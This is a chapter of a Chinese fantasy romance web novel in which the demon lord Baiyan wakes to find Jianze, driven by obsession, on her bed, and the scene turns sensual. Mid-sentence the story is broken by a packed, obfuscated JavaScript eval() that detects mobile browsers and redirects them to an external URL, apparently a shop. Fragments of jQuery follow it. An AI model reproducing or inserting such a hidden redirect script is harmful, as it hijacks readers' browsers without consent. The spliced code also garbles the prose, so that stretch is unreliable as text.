真是见鬼了。
百厌睡到半夜,忽然感到一阵阵寒意。
地界多火山,空气中常年飘着淡淡的硫磺味,暖烘烘的,能驱散不少阴邪之气。
因此,那些法力低微的鬼魅,根本不敢在地界久待,更别提有胆子跑到她魔仰宫来。
可现在,她躺在床上,能清楚地觉知到一股从骨头缝渗出来的阴寒,正丝丝缕缕地向她包围而来,像毒蛇一样在皮肤上缓慢爬行。
这段时间,烦心事层出不穷,百厌夜里记挂着,自然也睡得不好,没想到竟被阴邪入侵。
意识在第一时间清醒,可眼皮子沉甸甸的,越想睁开眼睛,越睁不开。
明知道手脚就在那放着,却动也动不了。
这种感觉……
不就是传闻中的“鬼压床”吗?
这个念头窜上来的瞬间,百厌只觉得头皮一阵发麻。
她成为魔族之前,不过是个普普通通的人族。
怕鬼,这简直是人之常情好吗!
虽然修炼之后见多了妖魔鬼怪,可那种刻在骨子里的本能害怕,哪是说抹掉就能抹掉的。
只是万万没想到,她堂堂一介地界魔主,居然也有被鬼压床的一天。
这鬼也未免太猛了!
知觉越来越清晰,忽地感觉到有什么东西垂落下来,细细长长的,擦过她的脸颊,扫在她脖子上……
是头发!
“!!!”
露出来的皮肤一刹那爬满了小疙瘩。
然后,一只手抚上了她的脸。
嘶,凉得要命。
那手像极了在冰窟里冻了十年八年刚捞出来,冷得她半边脸都麻了。
这周身阴煞之气,怨念之深,肯定是个厉鬼。
等等!
脖子那里怎么觉得更凉了?
空空的。
这鬼……正在扒拉她的亵衣。
居然还是个色鬼?!
岂有此理!
活了几百年,她什么场面没见过,今夜要是被一个不知哪儿冒出来的色鬼占了便宜,传出去她还怎么混?!
怒火一下子“噌”地窜上来,灵力从丹田炸开,直冲头顶。
百厌猛地睁开眼。
简泽的脸,近在咫尺。
“……”她默默地放下想灭了他的手。
怎么又跑回来她房间了。
说好的禁足呢。
看他的眼神,这人似乎并不清醒。
梦游?
简泽跨在她身上,一手撑在她耳侧,一手抚着她的脸,指尖细细地摩挲着。
如墨的长发从肩头滑落,垂在她脖子边,随着他的动作轻轻晃动,痒得她想躲。
可她一动,他的手便猛地攥住她的手腕,按在床头。
力道大得惊人。
百厌吃痛,眉头微蹙,抬眼看向他。
那双眼睛黑沉沉的,像两口古井平静无波,看不见底,也看不见光。
也不像是梦游呀……
任他抓住自己的手,百厌的眼里亦是一片沉静。
事到如今,他和她之间,似乎也没什么好说的了。
他想知道的,百厌不想说,他不知道的,百厌更不想说。
相对无言。
良久,简泽动了动嘴唇。
“给我。”
这两个字带着热气从喉咙深处滚出来,意义却含糊不明。
百厌愣了一下,歪了歪头:“……什么?”
这人又在说什么胡话?
“给我。”简泽的脸上毫无表情,只是又重复了一遍。
百厌还是看不透他,但是大半夜闯进人家寝殿,把人按在床上,用这种阴湿湿的眼神盯着人家看。
管你要什么,向人要东西用这种态度,鬼才理你。
“……不给。”百厌一脸不爽地回敬。
听到否定的答复,简泽周身的煞气膨地浓厚了一圈,从他身体里涌出来,缠上他的肩膀、手臂、腰背,又顺着他的身体往下蔓延。
原本清隽的脸在煞气映衬下显得极其阴郁,眼神更是灰败,像一具被执念驱使的木头人偶。
百厌瞳孔微缩。
明明已经不在盘古洞,这煞气怎会诱发得如此猛烈。
而且,之前简泽生出了那抹煞气,她已经用清气帮他消除了。
不对劲。
百厌心中慌乱,嘴里都不利索了,“你这几天都干了什么,煞气怎么越来越重了?”
“给我。”
又是这两个字。
执拗得像入了魔一样。
“都说了不——”
话音未落,煞气彻底挣脱束缚似的。
浓烈的黑雾以他为中心,疯狂地向四周蔓延,转眼间就笼罩了整个寝殿。
不远处的灯烛晃了晃,火焰挣扎了两下,“噗”地熄灭。
殿内陷入彻底的黑暗。
只有那双眼睛阴沉沉的,还在黑暗中盯着她,等着她的下一次回复。
只能是肯定的回复。
眼前这个人,只执着于索取自己想要的东西,得不到,誓不罢休。
危险至极。
为什么平日里孤高自处的他,会变得如此阴暗执拗。
这答案,百厌隐隐约约知晓。
约莫是因为她吧。
简泽对她……生出了执念。
执念入了骨,日夜灼烧心神,才会生出如此磅礴的煞气。
煞气还在不断往外涌,越来越浓,越来越重,压得人喘不过气。
眼见自己快要被煞气吞没,百厌迅速做出判断。
“给给给——都给你!”她一口气喊道,“你要什么都给,先把你那煞气停下来再说!”
简泽的眼里终于松动了几分,煞气一瞬地全部回到了他的身上,眨眼间便消失得干干净净,不远处的火烛又再摇摆起来。
他依旧跨在她身上,但松开了押制她的手。
接着,简泽低下头,温热的唇落在她的唇角。
百厌又愣了,“……”
不是,等会儿。
他想要的东西,是这玩意儿?
亲亲?
还没等她反应过来,他又亲了一下。
这一次落在嘴唇上,轻轻的,带着试探的意味,像是怕她推开,又像是怕自己弄错了什么。
百厌彻底无奈了。
所以他说了大半夜的“给我”,翻来覆去这两个字,煞气炸了好几回,差点把她寝殿掀了。
就是为了亲两下。
这人是什么毛病?
百厌忽然都不知道说些什么好,而对方还在继续。
任由他一下,两下,三下……
嗯?
好像不太对劲。
那手怎么往下去了。
哦……
不是亲亲,是这个呀。
她就说嘛,哪有这么简单。
早就听闻,男子十六七,春心萌动时,二十一二三,渐知风月事。
那么说来,简泽之前不是不行,而是现在才开窍。
可她有这个义务吗?
但细想,百厌好像还有一个人间身份
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241612|197762||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
昭贵妃……
站在人间小皇帝的角度上,她还真的有这个义务!?
随着那人亲得越来越认真,手扒拉的地方越来越下,她的脑子也逐渐变成一团浆糊。
亏了亏了亏了……
三番四次都被同一个人亲,这也太亏了,而且这个人每次亲的时候都不清醒。
算了算了算了……
算他亲得还算周到,不清醒就不清醒吧。
是舒服的话,何乐而不为。
说到底,也是百厌欠了他的。
他想要什么便什么吧。
在百厌双手攀上他的脖子时,简泽却骤然停了下来。
唇齿分离,嘴上还沾着几分亮晶晶的湿润。
简泽撑起身体,与她拉开了距离,眼神已然恢复了清明。
百厌直愣愣地看着他的眼睛,里面清晰地映着自己的样子。
……啊?清醒就不继续了吗?玩呢?
简泽看出她的疑惑,眼里涌出了几分柔情,用手将她鬓间的发丝绕在耳朵上,顺着轮廓轻轻抚下。
搔搔痒痒的,百厌微微侧了头,泛着粉红的耳尖缩了缩。
他没忍住,微凉的唇落在她的耳尖上,轻得像一片羽毛拂过,绒毛颤颤歪歪地躲到了一旁。
“耳朵不行,痒,太痒了……”
百厌最受不住痒意,只能挣扎地东躲西躲,她歪着头,吻便落在了脖子那一片莹白上。
薄薄的肌肤被抿了一个红印,不过一会却消散无踪,他不甘心地再度落下,辗转着,终有一个会深深地印上去,留下属于他的痕迹。
作乱的手指还不忘里流连她的耳垂,时不时揉捻。
也不知道他从哪里知道,百厌的弱点便是耳垂。
头微微后仰,露出的颈线更加纤细,却也更加脆弱,眼角的泪水被逼了出来。
密密麻麻的酥意汹涌而来,整个人被融化了一样,软软乎乎地被简泽捞在怀里,久久不能平复。
大意了,风月这事手段极多。
在人间那皇宫里,什么春画,避火图,甚至还有民间的各种秘戏图册,都是图文并茂,淳淳教导,一箱箱运进他们宫中,种类繁多,连百厌都大开眼界。
简泽自小博览群书,想必见过很多猪跑,在这方面,她未必是他的对手。
但风月这事,不占上风那就是落下风。
她可不乐意做下面那个,被人压一头。
再沉沦其中,怕是越难抽离。
百厌强迫自己清醒过来,一个翻身,反客为主。
衣服松松垮垮地耷拉在身上,大片的细腻肌肤显露了出来,一个俯身,百厌抬手,掐住他的下巴,眼神直逼简泽。
两人的鼻尖仅有分寸距离。
“你想要的,是我?”百厌眼神敞亮,问得大胆,且认真。
简泽难以言喻此刻的心情,在半个时辰之前,他任由煞气侵蚀自己,脑子里只留下一个疯狂的念头。
拥有她。
占据她。
把她拆吃入腹,把她揉进自己的骨血里。
或者,摧毁她,把她拉入深渊,与他永堕轮回。
永远交缠在一起,永远不能离开自己……
永远永远……
他一直是这么想的。
百厌见他仍旧一言不发,也不知道他心里的弯弯绕绕。
可有时候,沉默便是答案。
“你想要,那就给你。“
百厌低下头,掠过他的唇边,来到他的耳旁,“只是……我怕鬼,下次不要吓我了。”